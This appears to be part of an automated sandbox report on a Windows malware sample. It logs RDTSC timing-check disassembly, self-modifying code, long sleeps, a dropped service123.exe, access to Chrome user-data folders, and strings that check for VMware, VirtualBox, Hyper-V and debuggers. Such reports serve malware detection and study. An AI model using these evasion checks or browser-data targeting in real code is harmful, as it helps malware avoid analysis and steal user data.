Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61632 second address: 6F616F1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3808C18667h 0x00000008 adc esi, 596BF3EEh 0x0000000e jmp 00007F3808C18669h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jmp 00007F3808C18660h 0x0000001b popad 0x0000001c mov word ptr [edx+32h], ax 0x00000020 jmp 00007F3808C18660h 0x00000025 mov eax, dword ptr [esi+34h] 0x00000028 pushad 0x00000029 mov dl, ch 0x0000002b jmp 00007F3808C18663h 0x00000030 popad 0x00000031 mov dword ptr [edx+34h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007F3808C1865Bh 0x0000003c pop esi 0x0000003d pushfd 0x0000003e jmp 00007F3808C18669h 0x00000043 sbb si, 1D96h 0x00000048 jmp 00007F3808C18661h 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F616F1 second address: 6F61745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, 00000700h 0x0000000f jmp 00007F3808D55102h 0x00000014 jne 00007F38792D30FBh 0x0000001a jmp 00007F3808D55100h 0x0000001f or dword ptr [edx+38h], FFFFFFFFh 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3808D55107h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0CE7 second address: 6FB0D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D04 second address: 6FB0D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D0A second address: 6FB0D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D0E second address: 6FB0D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D12 second address: 6FB0D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007F3808C18665h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D34 second address: 6FB0D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 call 00007F3808D55107h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D52 second address: 6FB0D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D5F second address: 6FB0D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D63 second address: 6FB0D67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6FB0D67 second address: 6FB0D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50932 second address: 6F50938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F00030 second address: 6F00034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F00034 second address: 6F0003A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F00A26 second address: 6F00A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F00A2C second address: 6F00A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F00A30 second address: 6F00A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41CA1 second address: 6F41CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808C18664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41CB9 second address: 6F41CD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F3808D550FCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41CD6 second address: 6F41CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41CDD second address: 6F41CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D55105h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41CF6 second address: 6F41D49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F3808C1865Ch 0x00000014 adc esi, 7B17DD88h 0x0000001a jmp 00007F3808C1865Bh 0x0000001f popfd 0x00000020 call 00007F3808C18668h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F300AD second address: 6F300B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F300B1 second address: 6F300C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a movsx ebx, cx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F300C1 second address: 6F300C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F300C7 second address: 6F300CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F300CB second address: 6F300CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F300CF second address: 6F3012D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF0h 0x0000000b jmp 00007F3808C18669h 0x00000010 sub esp, 44h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov di, 749Eh 0x0000001a pushfd 0x0000001b jmp 00007F3808C1865Fh 0x00000020 sub ax, 414Eh 0x00000025 jmp 00007F3808C18669h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F3012D second address: 6F30133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30133 second address: 6F30137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30137 second address: 6F3014D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3808D550FBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F3014D second address: 6F30179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3808C1865Fh 0x00000008 pop ecx 0x00000009 mov si, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3808C1865Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30179 second address: 6F301BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3808D550FBh 0x00000013 or cl, 0000001Eh 0x00000016 jmp 00007F3808D55109h 0x0000001b popfd 0x0000001c mov esi, 573427E7h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F301BB second address: 6F30204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F3808C18664h 0x0000000c sub ecx, 11469F48h 0x00000012 jmp 00007F3808C1865Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov esi, 36A21551h 0x00000024 call 00007F3808C1865Eh 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30204 second address: 6F3020A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F3020A second address: 6F30243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov si, 57BBh 0x0000000e call 00007F3808C18660h 0x00000013 mov ecx, 7CB4E7A1h 0x00000018 pop eax 0x00000019 popad 0x0000001a push ecx 0x0000001b jmp 00007F3808C1865Ah 0x00000020 mov dword ptr [esp], edi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov eax, edi 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30243 second address: 6F30249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30249 second address: 6F3024D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F3024D second address: 6F30251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F30251 second address: 6F302AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b jmp 00007F3808C18668h 0x00000010 mov dword ptr [esp+24h], 00000000h 0x00000018 jmp 00007F3808C18660h 0x0000001d lock bts dword ptr [edi], 00000000h 0x00000022 jmp 00007F3808C18660h 0x00000027 jc 00007F387932A7E8h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F302AD second address: 6F302B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F302B3 second address: 6F3031B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3808C18662h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jmp 00007F3808C18667h 0x00000011 pop esi 0x00000012 jmp 00007F3808C18666h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F3808C1865Dh 0x00000021 jmp 00007F3808C1865Bh 0x00000026 popfd 0x00000027 push esi 0x00000028 pop ebx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F3031B second address: 6F3036C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55105h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b pushad 0x0000000c movzx ecx, bx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F3808D550FFh 0x00000016 or si, 89EEh 0x0000001b jmp 00007F3808D55109h 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50958 second address: 6F5095E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F5095E second address: 6F5096D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D550FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F5096D second address: 6F509A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3808C1865Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F509A0 second address: 6F509ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F3808D55103h 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F3808D55106h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3808D55107h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41B87 second address: 6F41B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41B8D second address: 6F41BB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F3808D55102h 0x00000010 popad 0x00000011 mov bh, 74h 0x00000013 popad 0x00000014 mov dword ptr [esp], ebp 0x00000017 pushad 0x00000018 mov bx, si 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ebx, ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41BB9 second address: 6F41BF0 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F3808C18664h 0x00000010 adc si, 8A88h 0x00000015 jmp 00007F3808C1865Bh 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d mov esi, 0D28D715h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F41BF0 second address: 6F41C2F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3808D55102h 0x00000008 or ah, FFFFFFE8h 0x0000000b jmp 00007F3808D550FBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3808D55105h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50BC8 second address: 6F50BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50BCC second address: 6F50BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50BD0 second address: 6F50BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50BD6 second address: 6F50C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3808D55100h 0x0000000f push eax 0x00000010 jmp 00007F3808D550FBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3808D55100h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F50C16 second address: 6F50C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Special instruction interceptor: First address: F9DBC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Special instruction interceptor: First address: F9DCED instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Special instruction interceptor: First address: F9B62A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window / User API: threadDelayed 1225	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window / User API: threadDelayed 1234	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window / User API: threadDelayed 1234	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window / User API: threadDelayed 1253	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window / User API: threadDelayed 1227	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 1962	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 8037	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.2 %

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7808	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7784	Thread sleep time: -2451225s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7804	Thread sleep time: -2469234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7800	Thread sleep time: -2469234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7788	Thread sleep time: -2507253s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7792	Thread sleep time: -2455227s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe TID: 7800	Thread sleep time: -152076s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5516	Thread sleep count: 1962 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5516	Thread sleep time: -196200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5516	Thread sleep count: 8037 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 5516	Thread sleep time: -803700s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: VMware
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.1757988751.000001395F3A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr	Binary or memory string: vmci.sys
Source: rJvOqHxkuI.exe, 00000000.00000003.1306358333.000000000710F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual RAM
